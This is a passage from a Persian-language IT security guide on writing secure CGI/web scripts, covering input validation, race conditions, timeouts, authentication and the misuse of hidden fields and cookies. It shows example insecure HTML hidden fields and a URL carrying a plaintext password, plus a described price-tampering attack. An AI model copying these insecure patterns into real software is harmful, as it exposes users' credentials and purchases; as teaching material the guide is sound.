اند، تنها به ايـن دليـل    به همين صورت پيكربندي شدهWindowsهاي وب تحت   دهند  يرد، اما متأسفانه بسياري از سرويس     قرار بگ 

  .تر شوددهنده ساده  روي سرويسperlهاي برنامه شود اجراي قطعهكه انجام اينكار باعث مي

انـد و   هـاي وب منتـشر شـده    دهنـده  براي استفاده در سرويسهايي هستند كه پيشتر برنامهها يا قطعه  يك عامل ديگر نگراني، برنامه    
هـايي كـه در       هـاي وب، بنـدرت برنامـه      دهنـده از آنجا كه راهبران سـرويس     . پذيريهاي امنيتي آشكار شده است    بعدها در آنها آسيب   

برنامه مورد استفاده قـرار دارد      يك قطعه زيرا بسيار دشوار است كه بتوان فهميد        (كنند    دهنده وجود دارد را حذف مي     فرضِ سرويس پيكربندي پيش 
هاي خطرناك تا ماهها و يا حتي سالها بر جاي خود باقي بمانند، حتي اگـر آن نقـص                   برنامهها و قطعه  ، ممكن است اين برنامه    )يا خير 

  . دهندة وب مرتفع شده باشدهاي جديدتر سرويسدر نسخه

شـان بعـد از مـدتي آشـكار شـوند از               كه ممكن است نقايص امنيتي     CGIهاي  و برنامه ها،  برنامهها، قطعه   براي اينكه در برابر برنامه    
اند را به يك شاخة جديد منتقل       دهندة وب نصب شده   فرض روي سرويس  هايي كه بصورت پيش     خودتان محفاظت كنيد، همة برنامه    

  .هاي كاري بازگردانيد كه واقعاً مورد نياز باشندكنيد تا همچنان بتوانند مورد دسترسي قرار گيرند، و تنها زماني آنها را به شاخه

  آثار جانبي ناخواسته

. ها ممكن است سالها پيش از اينكه مورد سوء استفاده قرار گيرند، بصورت نادانسته وجود داشـته باشـند                  برنامهمشكلات امنيتي قطعه  
برنامه را نوشته و از روي عمد ايجاد شده باشـد           عهنويسي كه قط    هاي امنيتي مخفي، توسط برنامه      گاهي اوقات ممكن است اين حفره     

هـاي    در ساير موارد حفـره    . هاي دسترسي پيدا كند       كند در آينده بتواند به برنامه     نويس را قادر مي        مثل نوعي درب مخفي كه برنامه      -
  .برنامه هستندشده ناشي از آثار جانبي ناخواستة قطعه امنيتي كشف

هـاي  cookieها و بوسيلة يك كاربر وب وارد فرمهاي وب، متغيرهـاي محيطـي،                 كه از خارج برنامه    هاي ورودي اگر به صحت داده   
هـر ورودي از    . هـا جلـوگيري كـرد     برنامـه توان از آثار جانبي ناخواستة قطعه       شوند تكيه نكنيم، معمولاً مي      مي  فرمها، يا هرجاي ديگر     

  .صل شود كه از كاراكترهاي صحيح تشكيل شده و نيز بامعنا استدنياي خارج بايد مورد بررسي قرار گيرد تا اطمينان حا

هايي طراحي شوند كه بتوانند كاراكترهاي قابل قبول را تـشخيص داده و بپذيرنـد و مـابقي را رد كننـد، نـه اينكـه يـك                            بايد صافي 
روش اول  . ي پذيرفتن تأييـد نماينـد     فهرست از كاراكترهاي غيرقابل قبول براي نپذيرفتن داشته باشند و همة وروديهاي ديگر را برا              

باشد؛ خصوصاً با توجه به اين نكته كه برخي كاراكترها كه           بيني همة كاراكترهاي ناصحيح دشوار مي     تر است، چراكه پيش   بسيار ايمن 
قـديمي،  هـاي   بعنوان مثال در بـسياري از برنامـه   ! امروزه ناصحيح نيستند ممكن است در آينده كاراكترهاي ناصحيح محسوب شوند          

  .بيني نشده بود اند پيش كه امروزه كاربرد فراواني يافتهUnicodeوجود علائم 

  توانيــد رجــوع كنيــد بــه فــصل شــانزدهم از ويــرايش دوم كتــاب بــراي مــشاهدة مثالهــاي بيــشتر از آثــار جــانبي ناخواســته، مــي
"Web Security, Privacy, and Commerce " ٢١٩گارفينكلنوشتة.  

  هاي ايمنهاي پوستهبرنامهارش قطعهاصول عمومي در نگ

  :كنندهاي پوسته را بيان ميبرنامهاصول زير، الگوهاي سرآمديِ حال حاضر در نگارش قطعه

خواهيد بنويـسيد  اي كه ميمطمئن شويد همة زواياي برنامه. نويسي، ابتدا برنامه را به دقت طراحي نماييد     پيش از شروع برنامه    .١
بستري كه برنامه قرار است روي آن اجرا شود، رفتار برنامه در قبال وروديهاي مختلف، فايلهـاي مـورد                   . ايدرا بدرستي فهميده  
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فهرستي از  . هاي رفتاري را به دقت مورد ملاحظه قرار دهيد        شونده، و ساير جنبه   استفاده، آرگومانهاي مورد نظر، علائم دريافت     
توانيد پيش از نوشتن برنامه بـه زبـان         حتي مي . ه آن خطاها تهيه كنيد    همة خطاهاي احتمالي و نيز نحوة واكنش برنامة خود ب         

 .رايانه، قسمتهاي مختلف برنامه را به زبان انگليسي و يا زبان مادري خود شرح دهيد

مطمـئن  . نويس ديگـر برسـانيد      ايد را به رؤيت يك برنامه       هايي كه در مورد برنامه نوشته     نويسي، مشخصه پيش از شروع برنامه    .٢
نويس ديگر را نـسبت بـه   اگر نتوانستيد يك برنامه. فهمند و معتقدند عملكرد صحيحي داردها را ميد كه آنها نيز مشخصه    شوي

هـاي برنامـه را   ايد راضي كنيد، بايد مجدداً به فاز طراحـي بازگـشته و مشخـصه      صحت عملكرد آنچه روي كاغذ طراحي كرده      
 .جويي خواهد شدصرفهنويسي  هنگام برنامهكنيد، كه براي اينكار صرف ميمطمئن باشيد چند برابر زماني . واضحتر كنيد

 فراهم كند، و از     CGIهاي  برنامهبرنامة مورد نظر خود زباني انتخاب كنيد كه قابليتهاي ايمني را براي قطعه            براي نوشتن قطعه   .٣
 Cهاي مناسب و زبانهـاي      زمينه گزينه  در اين    rudy، و   perl  ،pythonزبانهاي  .  جلوگيري نمايد  bufferخطاهاي سرريزي   

 CGIهـاي  برنامه، قطعهbin/sh/اي مثل     هيچگاه براي مفسرهاي پوسته   . روند  هاي ضعيف به شمار مي     معمولاً گزينه  ++Cو  
 .ننويسيد

اي توانيـد از فايلهـاي كتابخانـه    هنگاميكـه مـي  . هـاي قبلـي اسـتفادة مجـدد كنيـد     برنامـه اگر امكان آن وجـود دارد از قطعـه    .٤
اي مخصوص خود بنويسيد، اما در عين حال مراقب استفادة           استفاده كنيد لزومي ندارد يك فايل كتابخانه       CGIشدة   اشكال رفع

 .هاي حاوي اسبهاي تراوا نيز باشيدبرنامه مجدد از قطعه

ا شروع كرديـد متناوبـاً آنـرا         ر  برنامهوقتي نوشتن قطعه  . برنامه به آزمايش آن بپردازيد    بعد از نوشتن هر قسمت كوچك از قطعه        .٥
هـاي ورودي مـورد انتظـار و هـم از           براي آزمايش قسمت مورد نظر به ياد داشته باشيد كـه بايـد هـم از داده                . آزمايش نماييد 

چنانچه امكان آن وجود داشته باشد توابع برنامه بايد پيش از پـذيرفتن آرگومانهـاي               . هاي ورودي غيرمنتظره استفاده كنيد     داده
مثل خـروج از برنامـه و نمـايش    (، صحت و اعتبار آنها را تأييد كنند و در مواجهه با آرگومانهاي نادرست، واكنشهاي منطقي            ورودي

اي پذيريهاي امنيتي، اشكالات سـادة برنامـه  تعداد زيادي از آسيب. از خود نشان دهند) يك پيام يا كد مبني بر ناصحيح بودن آرگومان   
كنيد از ايمنـي بيـشتري   اي كه توليد ميها، برنامهبا نوشتن دقيقتر متن برنامه. برداري سوء كرد بهره توان از آنها  هستند كه مي  

 .برخوردار خواهد شد

تعداد قابل توجهي از مـشكلات امنيتـي از آنجـا ناشـي             . شده توسط كاربر را مورد بررسي قرار دهيد       تمامي مقادير ورودي ارائه    .٦
. كنـد    ارسال مـي    نشده را به يك تابع برنامه     بيني  اي پيش دي غيرمنتظره و يا يك قالب داده      شوند كه مهاجم يك مقدار ورو       مي

ها همواره آرگومانهـاي ورودي خـود را از نظـر           برنامهيك راه ساده براي پيشگيري از بروز چنين مشكلاتي اين است كه قطعه            
شـود  شود، بلكه باعث مـي    ها نمي برنامه اين قطعه  كنترل آرگومانها چندان موجب كاهش سرعت     . صحت و اعتبار، بررسي كنند    

 علاوه بر اين، كنترل آرگومانها و گزارش خرابيها سبب آن است كـه              .كاربران متخاصم كمتر بتوانند از آنها استفادة سوء نمايند        
 .تر گرددافزار نيز سادهفرآيند اصلاح اشكلات غيرامنيتيِ نرم

حتـي اگـر برنامـه يـك تـابع سيـستمي را فراخـواني               . فرستد را كنترل نماييد   عامل مي مآرگومانهايي كه برنامه به توابع سيست      .٧
كند، باز هم شما بايد آرگومانها را مورد بررسي قرار دهيد تا مطمئن شويد همانهايي هستند كه آن تابع سيستمي انتظار آنرا                       مي
 يـا   C در زبـان     ()indexتوانيد از تـابع     كند، مي ي باز مي  كنيد كه برنامة شما يك فايل را در شاخة جار         مثلاً اگر فكر مي   . دارد

perl             وجود دارد يا نه، و اگر نام فايل داراي علامـت مميـز اسـت و                ) /( استفاده كنيد تا ببينيد كه آيا در نام فايل علامت مميز
 .نبايد اينطور باشد، برنامه نبايد آن فايل را باز كند

 مـورد   PERL و   Cشده بـه زبانهـاي      هاي نوشته     كه توسط برنامه   (POSIXبرنامة  . كنترل كنيد همة خروجيهاي فراخوانيهاي سيستم را       .۸
حتي فراخوانيهاي سيستمي كـه شـما       . كند كه يك كد خروجي داشته باشد      هر فراخواني سيستم را ملزم مي     ) گيرد استفاده قرار مي  

 ممكـن اسـت تحـت شـرايط اسـتثنايي      - ()chown، و يـا   ()write()  ،chdir مثـل    -دهيد    احتمال خراب شدن آنها را نمي     
  متغيـر  زمانيكـه يـك فراخـواني نتوانـست درسـت عمـل كنـد،        . بدرستي عمل نكنند و خروجيهاي غيراستانداردي توليد كننـد  
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 برنامة خود را طوري بنويسيد كه بتواند مقادير غيرقابل انتظـار را .  را بررسي كنيد تا دليل وقوع اشكال را بفهميد        ٢٢٠شمارة خطا 
اي با شكست مواجه شد، با اطمينان به پردازة آن پايان      ثبت كند و سپس چنانچه يك فراخواني سيستم به هر دليل غيرمنتظره           

 .كنداي و مشكلات امنيتيِ آينده كمك شاياني ميانجام اين اقدامات به كم شدن اشكالات برنامه. دهد

، ۲، ۱اگر قرار است يك متغير برنامة شما تنها بتواند مقادير . باشيدافزار داخلي براي كنترل يكپارچگي و صحت داشته       يك نرم  .٩
هـاي لازم را    بيني را بگيرد، آن متغير را براي اين مقادير بررسي كنيد، و براي حالتي كه مقاديري غير از اينها دارد پيش                    ۳و يا   

 .)توانيد اينكار را انجام دهيد  بسادگي ميassertكنيد، با استفاده از ماكروي نويسي مي برنامهCاگر با زبان . (بعمل آوريد

معمولاً ثبتهاي مفصل، اطلاعات جزئي بيشتري از ثبتهـاي خلاصـه در            . از برنامه و طرز رفتار آن ثبتهاي متمادي بعمل آوريد          .١٠
عـات ثبـت   دهنـدة وب، اطلا  بجاي ثبت نتايج حاصل از خطاهاي رايج و تكيه بر فايل ثبت سـرويس      . دهنداختيار شما قرار مي   

همچنـين  . تر خواهـد كـرد    انجام اينكار يافتن مشكلات را براي شما ساده       . خود را در يك فايل ثبت اختصاصي نگهداري كنيد        
را نيز مد نظر داشته باشيد تا با آن بتوانيد ثبتها را بسوي فايلها و كاربران هدايت كنيـد،                   ) UNIXدر   (syslogاستفاده از قابليت    

 .هاي ديگر ارسال نماييدد، و يا براي رايانهها بفرستيبه برنامه

 .هاي خود را ساده و كوچك سازيدتا حد ممكن قسمتهاي حياتي برنامه .١١

بجـاي  . ايهمواره از مسيرهاي كاملِ نام براي آرگومانها استفاده كنيد، هم براي فايلهاي دستوري و هـم بـراي فايلهـاي داده        .١٢
 .اري، صراحتاً مسير صحيح اجراي برنامه را تعيين نماييدكردن اجراي صحيح برنامه به شاخة جوابسته

 و يـا يـك نـاتواني در اجـراي     ٢٢٢بستبنتواند به شكل  اين شرايط مي.  در برنامه هوشيار باشيد ٢٢١شرايط رقابت در مورد بروز     .١٣
 :صحيح دو فراخواني نزديك به هم رخ دهد

  بستشرايط بن
 درحال اجرا باشد و به همين دليل بهتـر اسـت    از يك نسخه از يك برنامهدانيد ممكن است در آن واحد بيش      همانطور كه مي  
كنـد و سـپس از حافظـه بيـرون          براي حالتي كه برنامه يك فايل را قفل مي        . خواهيد تغيير دهيد را قفل كنيد     هر فايلي كه مي   

بست منجـر شـود     تواند به بن  ي كه مي  بست و يا شرايط   از بروز بن  . اي براي بازشدن قفل فايل بيانديشيد     شود، چاره انداخته مي 
خواهـد  كند و سپس مـي  را براي خود قفل مي  Aآيد كه مثلاً يك برنامه ابتدا فايل        اين شرايط زماني پيش مي    . جلوگيري كنيد 

  . را نيز براي خود قفل كندAخواهد فايل  را قفل كرده، ميB را قفل كند، و همزمان برنامة ديگري كه قبلاً فايل Bفايل 

  رايط رقابتش
شود، بلكـه ممكـن اسـت ميـان اجـراي هـر دو        به ياد داشته باشيد كه برنامة شما بصورت بدون وقفه از ابتدا تا انتها اجرا نمي     

اي كـه بخواهـد در كـار برنامـة       حتي شايد برنامه   -دستورالعمل برنامه وقفة كوتاهي ايجاد شود تا قسمتي از يك برنامة ديگر             
بنابراين متن برنامة خـود را بـدقت بررسـي كنيـد تـا مطمـئن شـويد در آن هـيچ دو                       .  به اجرا درآيد   -شما ايجاد اختلال كند     

بطور خاص هنگاميكه چند    . دستورالعمل متوالي وجود ندارد كه درصورت اجراي دستورات دلخواه ميان آنان دچار خرابي شوند             
، ابتدا فايل )...كنيد، وكنيد، حالت فايل را عوض ميهيد، فايل را ماندگار ميدمثلاً مالك آنرا تغيير مي(دهيد عمليات روي يك فايل انجام مي

شـود  انجام اينكار باعث مي   .  استفاده نماييد  ()fchmod، و   ()fchown()  ،fstatرا باز كنيد و سپس از فراخوانيهاي سيستمي         
جايگزين كند، و بدين ترتيب از بروز يـك حالـت           ماداميكه برنامة شما شما درحال اجرا است، برنامة ديگري نتواند آن فايل را              

 اسـتفاده   ()accessهمچنين براي كسب آگاهي از توانايي دسترسي به يك فايل، از تـابع              . ايدمحتمل رقابت جلوگيري كرده   
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ة رقابت  شد استفاده شده باشد، يكي از حالات شناخته       ()openنكنيد، چراكه استفاده از اين تابع درصورتيكه پس از آن از تابع             
  .است

تواننـد كـل يـك     مـي coreفايلهـاي  .  را ذخيره كند coreبرنامة خود را جز هنگام آزمايش در حالتي قرار ندهيد كه فايلهاي              .١٤
در بعضي موارد مهاجم تنها با اسـتفاده از ايـن           . توانند اطلاعات محرمانه در خود ذخيره نمايند      ديسك را اشغال كنند، و نيز مي      

 coreبجـاي ذخيـره كـردن فايلهـاي        . تواند به يك سيستم نفوذ كند     كند مي  را ذخيره مي   coreفايلهاي  نكته كه يك برنامه     
 را coreبراي اينكه حـداكثر انـدازة فايـل    . اي تنظيم كنيد كه مشكلات را ثبت كند و از برنامه خارج شود          برنامة خود را بگونه   

 .ده كنيد استفا()setrlimitتوانيد از تابع قرار دهيد، مي" صفر"

برنامة شما بايد با حساب كاربري كاربر       اگر قطعه . توانند در آنها بنويسند ايجاد نكنيد     هايي كه همه مي   فايلهاي خود را در شاخه     .١٥
"nobody "      به اجرا در آيد، كاربرnobody    خواهد در آن به ايجاد فايلهـا بپـردازد         برنامه مي اي كه قطعه   را بعنوان مالك شاخه

شـوند، فـضايي    هـا كـه زيرسيـستم ناميـده مـي         برنامـه برنامه و يا حداقل هر مجموعة مرتبط قطعـه        راي هر قطعه  ب. قرار دهيد 
برنامه يك شاخة مجزا براي ايجاد فايلهاي موقتي بدهيد،         توانيد به هر قطعه   براي انجام اينكار، مي   (اختصاصي براي فايلهاي موقتي تعبيه كنيد       

چنانچـه  ). برنامـه شـروع شـده باشـند       يد كه فايلهاي موقتي خود را طوري نامگذاري كند كه همه با نام خود آن قطعه               برنامه را ملزم كن   و يا هر قطعه   
 tmp/رود، فايلهـاي مـوقتي را در شـاخة           هم بكار مي   Unixدهندة وب بعنوان يك ميزبان عمومي براي توابع پوستة            سرويس

 .ذخيره ننماييد

 proxyهـاي   دهنـده اين آدرسها ممكن است بوسيلة سـرويس      . كنيد زياد اعتماد نكنيد   هايي كه دريافت مي      بسته IPبه آدرس    .١٦
 .جعل، دستكاري، و يا سرقت شده باشند

.  قرار دهيد تا بارگذاريهاي سنگين هم قابل مـديريت شـوند  ٢٢٤محدوديت بار و يا    ٢٢٣تقسيم بار دهندة خود نوعي از     در سرويس  .١٧
دهنده را كنتـرل كننـد و       طوري بنويسيد كه پيش از به اجرا درآمدن، ميزان بار سرويس          هاي خود را    برنامهتوانيد قطعه   مثلاً مي 

انجام . شده بيشتر بود، با نمايش يك پيام محترمانه به كاربر از حافظه خارج شوند          چنانچه مقدار آن از يك سقف از پيش تعيين        
 در تلاش براي انجام يك حملة تخريب سرويس عليه          برنامهشود مهاجمي كه با فراخوانيهاي متعدد يك قطعه       اينكار باعث مي  

اينكار همچنين در شرايطي كه صدها كاربر براي سريعتر اجرا شـدن            . دهندة شما است با دشواري بيشتري روبرو شود       سرويس
 .كنددهندة شما محافظت ميدهند، از سرويس را فشار ميreloadبرنامة كُند، دكمة يك قطعه

توانـد متوقـف    برنامة شما به دلايل متعـددي مـي       .  درحال اجرا سقف زماني مناسب و معقول تعيين كنيد         هايبرنامهبراي قطعه  .١٨
جواب بمانـد، يـا يـك مرورگـر وب از قبـول               دهندة راه دور بي     گردد؛ مثلاً ممكن است يك درخواست خواندن از يك سرويس         

ي حل اين دو مـشكل آن اسـت كـه بـراي زمانيكـه           يك روش ساده برا   . شده از طرف شما امتناع ورزد     كردن اطلاعات ارسال  
در اينصورت به محـض اينكـه برنامـه از          . دهنده استفاده كند محدوديت قرار دهيد     تواند از منابع سرويس    مي CGIبرنامة  قطعه

در بيـشتر سيـستمهاي نـوين بـراي         . شده تجاوز كند، بايد فضاي حافظه را خالي كنـد و از آن خـارج شـود                سقف زماني تعيين  
 .توان از نوعي فراخواني تابعي استفاده كردبرقراري اين محدوديتهاي زماني مي

يـك اشـكال    .  درحال اجراي خود از ريزپردازنده، محدوديتهاي معقول و منطقي قرار دهيد           CGIهاي  برنامهبراي استفادة قطعه   .١٩
دهنـدة   ي محافظت از كاربران و سـرويس برا.  ممكن است آنرا در يك حلقة بينهايت قرار دهد       CGIبرنامة  جزئي در يك قطعه   

تواننـد از ريزپردازنـده مـصرف كننـد،          مـي  CGIهـاي   برنامـه وب در مقابل اين احتمال، بايد براي مجموع زمـاني كـه قطعـه             
 . محدوديتهاي سفت و سختي قرار داد

اگـر  . ساده روي شبكه بفرستد   از كاربر نخواهيد كه براي تصديق هويت خود يك رمز عبور قابل استفادة مجدد را در قالب متن                  .٢٠
دهندة وب با قابليت رمزنگاري را بكار بريد تا رمـز عبـور        كنيد، يك سرويس  هاي كاربري و رمزهاي عبور استفاده مي      از شناسه 
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هـاي سـمت    توانيـد بـراي تـصديق هويـت از گـواهي          همچنين بعنوان يك راه جايگزين مـي      . ساده منتقل نشود  در قالب متن  
 دسترسـي   IISدهنـدة وب      توانند به يك سرويس   اگر كاربران شما از طريق مرورگر اينترنت مي       . تفاده نماييد گيرنده اس  سرويس

 - با تغييرات اختصاصي مايكروسافت      HTTP يك نسخه از پروتكل      - NTLM٢٢٥توانيد از قابليت    پيدا كنند، در اينصورت مي    
 كه براي ارزيابي يك رمز عبور مشترك ميـان          - HTTP٢٢٦صة  تصديق هويت خلا  توانيد از     نكتة آخر اينكه مي   . استفاده كنيد 

هـاي   و نسخهApache 2.0دهندة سرويس.  استفاده كنيد-برد  را بكار ميMD5 MACدهنده و مرورگر وب، يك سرويس
 پـشتيباني   mod_auth_digestبـا مـاجول     ) Digest-based(سازي  جديدتر از آن از قابليت تصديق هويت مبتني بر خلاصه         

يـك اشـكال اوليـة تـصديق هويـت مبتنـي بـر              . كند، و استفاده از آنها در مرورگرهاي مختلف نيـز رو بـه افـزايش اسـت                مي
كند كـه يـك نـسخة رمزنـشده از رمـز عبـور هريـك از                 دهندة وب را ملزم مي    سازي اين است كه اين روش سرويس       خلاصه

توانيـد در مـستندات     سازي مي رد تصديق هويت مبتني بر خلاصه     براي جزئيات بيشتر در مو    . كاربران را مورد استفاده قرار دهد     
Apache بدنبال كلمة AuthDigestFileبگرديد و يا به اين آدرس مراجعه نماييد : 

 http://www.apache.org/doc-2.0/mod/mod_auth_digest.html 

 آنرا مورد حمله قرار دهيـد، و اگـر برنامـه ورودي             توانيدمتن برنامة خود را مطالعه كنيد و ببينيد كه خودتان از چه راههايي مي              .٢١
بررسي كنيد و ببينيد كه اگر بتوانيد ميان دو فراخـواني سيـستمي ايجـاد               . غيرمنتظره دريافت كند چه عملكردي خواهد داشت      

 .تأخير نماييد، تأثير اين مسئله بر عملكرد برنامه چه خواهد بود

توانـد خبـر خـوبي      از يك نظر اين مسئله مـي      . نويسي هستند    در حقيقت خطاهاي برنامه    به ياد داشته باشيد كه بيشتر نقايص امنيتي       
  .انداتكاتر كردهتر كنند، در واقع آنرا مطمئنتر و قابلهاي خود را ايمننويسان برنامه تلقي شود، چراكه در اينصورت هرچقدر برنامه

  هاCookieها، فايلهاي مخفي، و  استفاده ايمن از فيلد

هنگاميكه يـك   . هاي وب است  كند، مربوط به معماري باز برنامه     هاي وب ايمن را دشوار مي      دلايلي كه معمولاً نوشتن برنامه     يكي از 
شـود، و  دهندة وب اجرا مي نويسيد كه به شكل محلي روي سرويس   اي مي كنيد، معمولاً برنامه  برنامة كاربردي تحت وب را توليد مي      

ممكن است زمان زيـادي را صـرف        . آيدشود و روي مرورگر وب كاربر به اجرا در مي          مي downloadيك برنامة بسيار كوچكتر كه      
بعنوان مثـال يكـسان بـودن نـام     . كنند كسب اطمينان از اين مسئله كنيد كه اين دو برنامه در تعامل با يكديگر بطور صحيح كار مي            

دهنـده از اهميـت بـسيار زيـادي     هاي سرويسبرنامهتظار قطعهشده با نام فيلدهاي مورد ان    downloadفيلدهاي درون فرمهاي وب     
، و سـاير    HTML  ،JavaScriptكنيـد كـه مطمـئن شـويد فرمهـاي           به احتمال زياد مدتي زمان نيز صرف آن مـي         . برخوردار است 

  .شونداند، روي انواع مختلف مرورگرهاي وب بطور صحيح اجرا مي شدهdownloadهايي كه  برنامه

چيزي . دهندة وب و مرورگر با هم كاملاً هماهنگ باشند بسيار دشوار است             افزاري كه روي سرويس     ن موارد، يافتن نرم   حتي در بهتري  
مطمئنـاً  . كننـد   كند اين است كه مهاجمان، طبق تعريف، قوانين بازي را رعايت نمـي            كه كل فرآيند را از نظر امنيتي دچار اشكال مي         

 شما را در مرورگرهاي معمولي باز كننـد تـا مـشكلي پـيش نيايـد، امـا                   JavaScriptهاي  مه و برنا  HTMLتوانند فرمهاي   آنها مي 
دهنـدة شـما پاسـخهاي كـاملاً مـوردي و           توانند با انجام ندادن اينكار، متن برنامه را بربايند، تحليل كنند، و به سرويس             همچنين مي 

اي نيـست كـه     دهندگان معمولي وب كـار سـاده      كه براي توسعه  شناسايي اين نوع حملات بسيار دشوار است، چرا       . مغرضانه بفرستند 
نويسان براي بررسي حمـلات ممكـن   هاي خود را در مقابل چنين حملاتي آزمايش كنند؛ و در هرحال بيشتر اين برنامه           بتوانند برنامه 

  .  ابزارهاي مورد اعتماد لازم را در اختيار ندارندCGIبرنامة عليه يك قطعه

ة وب، منع ذاتي ندارد، بلكه حتي نياز به پايگاههاي اطلاعاتي، رديابي كـاربر، و  دهند سرويسبجاي مرورگر  عات در   كردن اطلا ذخيره
سازد؛ اما در اينصورت مجبور خواهيد بود هرگاه اطلاعات را از كاربر       مي  دهنده را مرتفع  بسياري از فناوريهاي ديگر در سمت سرويس      

  .يد تا مطمئن شويد چيزي از آن نادرست نشده باشدكنيد آنرا كنترل نمايدريافت مي
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 راهنماي امنيت فناوري اطلاعات ٣٦٦ 

بعنـوان  . كننـد   دهنده را درك نمـي      نويسان نياز به تأييد اطلاعات بازگشتي از سوي مرورگرهاي كاربران به سرويس               بسياري از برنامه  
ي كـه متعلـق بـه       هـاي تجـارت الكترونيك ـ    برنامـه  متوجه شدند كـه بـسياري از قطعـه         ISS٢٢٧ مهندسان در    ۱۹۹۹مثال در دسامبر    

كردنـد كـه قيمـت      همگي آنها از كارتهاي خريـد پـشتيباني مـي         : پذيري مشترك دارند  فروشندگان مختلف بودند همگي يك آسيب     
شد، اما همة اين اطلاعـات در مرورگرهـا بـود و هـيچ ارزيـابي صـحتي نيـز روي آنهـا انجـام                         مقطوع هر كالا نيز در آن ذخيره مي       

هـاي مربوطـه بـصورت      شـد، برنامـه   شد و هزينة آن از كارت اعتباري كاسـته مـي          حساب آماده مي   هنگاميكه يك صورت   ٢٢٨.شد نمي
خواست به خودش در قيمتها تخفيف        كردند و بدين ترتيب هر مهاجمي كه مي       كوركورانه به قيمتهاي روي كارتهاي خريد اعتماد مي       

دهنده را روي ديسك سخت رايانة خود ذخيره كنـد،  ويس سرHTMLتوانست با ارسال يك درخواست خريد اينترنتي، فرم      بدهد، مي 
  .را بفشارد" خريد"قيمتها را دستكاري نمايد، و سپس دكمة 

 متوجه شدند كه بسياري از پايگاههاي تجـارت         MITالتحصيلان   چهار تن از فارغ    ٢٢٩ انجام شد،  ۲۰۰۱اي كه در بهار سال        در مطالعه 
اي توانستند تغييرات هوشمندانه  كنند، و درنتيجه آنها مي       بدرستي تصديق صحت نمي    ها را cookieالكترونيكي، اطلاعات موجود در     

  .هاي پايگاههاي تجارت الكترونيكي بدهند تا به اطلاعات غيرمجاز دسترسي پيدا كنندcookieدر 

  استفاده ايمن از فيلدها

  : هنگام بررسي آرگومانهاي ورودي به برنامة خود به نكات زير توجه ويژه نماييد

مـثلاً اگـر يـك فيلـد     . محتويات هر فيلد را غربال كنيد و تنها به كاراكترهايي اجازة ورود بدهيد كه متناسب با آن فيلد هستند               •
انجـام  .  اجازة عبور دهيد و مـابقي ارقـام را ناديـده بگيريـد             ۹قرار است يك شمارة كارت اعتباري باشد، به ارقام ميان صفر تا             

فاصـله وارد   دهد كه بتوانند شمارة كارت اعتباري خود را با فاصله و يا خط            منيتي، به كاربران اجازه مي    اينكار علاوه بر مزاياي ا    
 .نمايند

چنانچه طول آن نادرست بود، آنـرا تأييـد   . بعد از آنكه وروديها را غربال كرديد، طول هر آرگومان را نيز مورد بررسي قرار دهيد    •
 .ايش درآوريدنكنيد؛ و بجاي آن يك پيغام خطا به نم

كنيد، مطمئن شويد كـه آنچـه كـاربر بعنـوان انتخـاب خـود ارائـه كـرده، يكـي از                         استفاده مي  ٢٣٠فهرست انتخابي اگر از يك     •
دهنـده  توانند هر مقدار دلخواه خود را بعنوان ورودي اين فهرسـتها بـه سـرويس                مهاجمان مي . هاي همان فهرست است    گزينه

 .كننددود به مقادير مجاز فهرستهاي انتخابي نميبفرستند، چراكه بهيچوجه خود را مح
كننـد،   گيرنـده اسـتفاده مـي    سمت سـرويس JavaScriptحتي درصورتيكه فرمهاي شما براي تأييد صحت محتويات خود از    •

مهاجمـان بـسادگي    . گيرنـد دهنده نيز محتويات فرمها مجدداً مورد ارزيابي قرار مـي         بازهم مطمئن شويد كه در سمت سرويس      
 .غيرفعال نمايندتواند از اين سدهاي كنترلي بگذرند و يا بطور كلي آنرا  مي

  هاي تركيبيURLمخفي و فيلدهاي 

شـود؛  نمايش كاربر ظاهر نمي   فرستد، اما روي صفحه   دهندة وب به مرورگر مي     عبارت است از فيلدي كه سرويس      ٢٣١فيلد مخفي يك  
دهنده بازپس فرستاده شد، فيلـد مربوطـه و محتويـات آن               به سوي سرويس   گيرد تا زمانيكه فرم     و درعوض در حافظة مرورگر جا مي      

  .نيز بازپس فرستاده شوند

                                                                                                                                            
227  Internet Security Systems 

۲۲۸   ISS        بـراي كـسب   .  در مطبوعات منتشر نمود۲۰۰۰پذيري را در فورية  گزارش كرد، و سپس اطلاعات مربوط به اين آسيب       ۱۹۹۹اين اشكال امنيتي را در دسامبر
  :توانيد به اين آدرس مراجعه نماييداطلاعات بيشتر در اين زمينه مي

http://www.cnn.com/2000/TECH/computing/02/04/shop.glitch.idg/ 
  شده بوسيلة تهيه،  MITو   USENIX ۸۱۸، گزارش فني شمارة     "گيرنده روي وب  بايدها و نبايدهاي تصديق هويت سرويس     "براي اطلاعات بيشتر مراجعه كنيد به          ۲۲۹

Kevin Fu ،Emil Sit ،Kendra Smith و ،Nick Feamster.  
230  Combo Box 
231  Hidden Field 

https://telegram.me/karnil
www.karnil.com


  نيامنيت فناوري اطلاعات و راهبران ف: بخش پنجم

 

٣٦٧  

ش
بخ

 
جم

پن
  

در سيـستمهاي  ) تشخيص كـاربر (سازي اطلاعات لازم براي رديابي جلسه        هاي مخفي براي ذخيره   فيلددهندگان وب از      برخي از توسعه  
دهندگان بعضاً نام كاربري و رمـز عبـور      ، توسعه HTTPيق هويت اولية    مثلاً بجاي استفاده از تصد    . برند  تجارت الكترونيكي بهره مي   

  :دهند شده توسط كاربر را براي تمام فرمهاي بعدي در فيلدهاي مخفي قرار ميارائه

<INPUT TYPE=”hidden” NAME=”username” VALUE=”simsong”> 
<INPUT TYPE=”hidden” NAME=”password” VALUE=”myauth11”> 

  :سازي كارتهاي خريد بكار روندتوانند براي پيادهخفي همچنين مي مفيلدهاي

<INPUT TYPE=”hidden” NAME=”items” VALUE=”3”> 
<INPUT TYPE=”hidden” NAME=”item1” VALUE=”Book of Secrets:$4.99”> 
<INPUT TYPE=”hidden” NAME=”item2” VALUE=”Nasty Software:$45.32”> 
<INPUT TYPE=”hidden” NAME=”item3” VALUE=”Helping Hand:$32.23”> 

هـا پـس از رسـيدن بـه         URLايـن   .  قـرار داد   URLتوان آنها را مـستقيماً در         بجاي قراردادن اين اطلاعات در فيلدهاي مخفي، مي       
 از پروتكـل     مشابه حالتي كه در فرمهاي صفحات وب قرار دارند و با اسـتفاده             -شوند  دهنده به همان صورت قبلي تعبير مي      سرويس

HTTP GETمثلاً . اند فرستاده شدهURLزير حاوي همان نام كاربري و رمز عبور قبلي است :  

http://www.vineyard.net/cgi-bin/password_tester?username=simsong&password=myauth11 

دهنـده   بايـد در سـرويس  ) حتي هيچ اطلاعـاتي و شايد (استفاده از فيلدهاي مخفي بسيار آسان است، به ازاي آن اطلاعات بسيار ناچيزي        
